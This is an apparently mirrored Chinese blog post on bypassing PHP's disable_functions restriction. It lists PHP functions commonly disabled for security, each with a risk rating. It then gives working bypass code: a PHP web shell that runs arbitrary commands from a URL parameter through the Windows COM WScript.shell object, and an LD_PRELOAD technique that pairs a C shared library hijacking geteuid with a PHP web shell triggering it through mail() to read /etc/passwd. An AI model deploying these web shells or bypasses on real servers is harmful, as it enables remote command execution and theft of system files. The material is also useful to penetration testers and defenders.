67

绕过disable_functions方法总结

 4 years ago
source link: http://byd.dropsec.xyz/2019/10/29/绕过disable_functions方法总结/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

本指令允许你基于 安全 原因禁止某些函数。接受逗号分隔的函数名列表作为参数。 disable_functions 不受 安全模式 的影响。本指令只能设置在 php.ini 中,默认情况下为空。

附个’’最全’’禁用函数列表:

passthru、exec、system、chroot、chgrp、chown、shell_exec、proc_open、proc_get_status、popen、ini_alter、ini_set、ini_restore、dl、openlog、syslog、readlink、symlink、popepassthru、stream_socket_server、pcntl、pcntl_exec、mail、putenv、apache_setenv、mb_send_mail、assert、set_time_limit、ignore_user_abort、link、fsocket、pfsockopen、get_current_user、opendir、show_source、curl_exec、curl_multi_exec、parse_ini_file、highlight_file、imap_open、imap_mail

passthru()

功能描述:允许执行一个外部程序并回显输出,类似于 exec()。

危险等级:高

exec()

功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。

危险等级:高

system()

功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。

危险等级:高

chroot()

功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。

危险等级:高

chgrp()

功能描述:改变文件或目录所属的用户组。

危险等级:高

chown()

功能描述:改变文件或目录的所有者。

危险等级:高

shell_exec()

功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。

危险等级:高

proc_open()

功能描述:执行一个命令并打开文件指针用于读取以及写入。

危险等级:高

proc_get_status()

功能描述:获取使用 proc_open() 所打开进程的信息。

危险等级:高

ini_alter()

功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。具体参见 ini_set()。

危险等级:高

ini_set()

功能描述:可用于修改、设置 PHP 环境配置参数。

危险等级:高

ini_restore()

功能描述:可用于恢复 PHP 环境配置参数到其初始值。

危险等级:高

dl()

功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。

危险等级:高

pfsockopen()

功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。

危险等级:高

symlink()

功能描述:在 UNIX 系统中建立一个符号链接。

危险等级:高

popen()

功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。

危险等级:高

putenv()

功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。

危险等级:高

phpinfo()

功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。

危险等级:中

scandir()

功能描述:列出指定路径中的文件和目录。

危险等级:中

syslog()

功能描述:可调用 UNIX 系统的系统层 syslog() 函数。

危险等级:中

readlink()

功能描述:返回符号连接指向的目标文件内容。

危险等级:中

stream_socket_server()

功能描述:建立一个 Internet 或 UNIX 服务器连接。

危险等级:中

error_log()

功能描述:将错误信息发送到指定位置(文件)。

安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。

危险等级:高

利用Windows系统组件COM绕过

Windows系统组件COM在Windows默认就存在,是位于System32目录下的wshom.ocx文件。

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。

如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它来优先加载我们自己编写的程序,实现劫持。简单地说,可注入自己的代码,覆盖原有代码。

//hack.c
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){
    system("cat /etc/passwd >list.txt");
}
int geteuid(){
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的 geteuid 被调用时,尝试加载 payload() 函数,执行命令。

//webshell.php
<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("H4ck3R.XiX","","","","");
$file_path = "list.txt";
if(file_exists($file_path)){
    $file_arr = file($file_path);
    for($i=0;$i<count($file_arr);$i++){
        //逐行读取文件内容
        echo $file_arr[$i]."<br />";
        fclose($file_arr);
    }
}
?>

LD_PRELOAD 中用到的 php 扩展,除了在LD_PRELOAD方式中使用外,还可以应用到 dl 等凡是可以通过加载动态链接库、PHP扩展的利用方式中。并且可以在几乎所有的php版本中放心使用。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK